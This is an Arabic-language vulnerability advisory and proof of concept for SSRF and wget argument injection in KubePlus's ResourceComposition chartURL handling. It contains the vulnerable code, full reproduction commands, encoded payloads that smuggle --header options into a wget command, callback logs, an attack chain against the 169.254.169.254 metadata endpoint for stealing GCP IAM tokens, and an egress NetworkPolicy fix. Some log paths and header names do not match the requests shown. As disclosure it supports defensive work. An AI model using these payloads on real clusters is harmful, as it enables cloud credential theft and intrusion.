
إثبات مفهوم يوضح هجمات SSRF وحقن ترويسات HTTP في KubePlus ResourceComposition، مما يتيح الوصول إلى بيانات التعريف السحابية وسرقة بيانات اعتماد IAM.
توجد هذه الثغرة في مكوّن معالجة موارد ResourceComposition في KubePlus، مما يسمح للمهاجم الذي يمتلك صلاحيات Provider بالوصول إلى الخدمات الداخلية عبر SSRF من خلال صياغة معامل chartURL خبيث، وحقن ترويسات طلب HTTP عشوائية عبر حقن أوامر wget. وهذا يمكّن المهاجمين من الوصول إلى خدمات البيانات الوصفية السحابية التي تتطلب ترويسات محددة (مثلًا، GCP يتطلب ترويسة Metadata-Flavor: Google)، وبالتالي سرقة بيانات اعتماد IAM. CWE الموصى بها للإبلاغ: CWE-918 (Server-Side Request Forgery).
مكوّنا KubePlus mutating webhook و kubeconfiggenerator يحتويان على ثغرة SSRF عند معالجة حقل chartURL لموارد ResourceComposition. يتم ترميز الحقل باستخدام URL encoding فقط دون التحقق من العنوان الهدف. والأهم من ذلك، عندما يستخدم kubeconfiggenerator أداة wget لتنزيل المخططات، يتم دمج chartURL مباشرة في الأمر، مما يسمح للمهاجمين بحقن خيار --header الخاص بـ wget لتحقيق حقن ترويسات HTTP عشوائية.
نقطة دخول SSRF - mutating-webhook/utils.go:986-995:
func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
نقطة حقن الترويسات - deploy/kubeconfiggenerator.py:552-558:
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
يتم دمج chartURL مباشرة في أمر wget، مما يسمح للمهاجمين بحقن خيار --header.
--header، يمكن إضافة ترويسات طلب HTTP عشوائيةkind create cluster --name kubeplus-test
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
python3 provider-kubeconfig.py create default
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: ssrf-callback
labels:
app: ssrf-callback
spec:
containers:
- name: callback
image: python:3.9-slim
command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.now()}] GET {self.path}')
print('Headers:')
for h, v in self.headers.items():
print(f' {h}: {v}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: ssrf-callback
spec:
selector:
app: ssrf-callback
ports:
- port: 8080
EOF
# إنشاء ResourceComposition مع حمولة SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
name: ssrf-test
spec:
newResource:
resource:
kind: SsrfApp
group: ssrf.kubeplus
version: v1
plural: ssrfapps
chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
chartName: ssrf-test
EOF
مخرجات سجل خادم الاستدعاء الراجع:
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Helm/3.12.1
# إعداد إعادة توجيه المنفذ إلى kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &
# حقن ترويسة Metadata-Flavor (مطلوبة لخدمة البيانات الوصفية في GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"
مخرجات سجل خادم الاستدعاء الراجع:
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Metadata-Flavor: Google
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"
مخرجات سجل خادم الاستدعاء الراجع:
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
X-Custom-Header-1: Value1
X-Custom-Header-2: Value2
Authorization: Bearer stolen-token
Metadata-Flavor: Google، يمكن الوصول إلى خدمة البيانات الوصفية في GCPAttacker (Provider privileges)
|
v
Create ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
|
v
KubePlus Webhook processes request
|
v
kubeconfiggenerator executes: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
|
v
Access GCP metadata service, obtain IAM Token
|
v
Use IAM Token to access cloud resources
درجة CVSS 3.1: 8.5 (عالية) المتجه: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubeplus-egress-restrict
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
الفضل يعود إلى: @b0b0haha ([email protected]) @lixingquzhi ([email protected])